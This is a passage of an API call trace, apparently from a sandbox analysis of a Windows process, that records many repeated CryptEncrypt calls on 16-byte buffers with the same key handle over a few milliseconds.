pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.758] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.759] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.760] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.761] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, 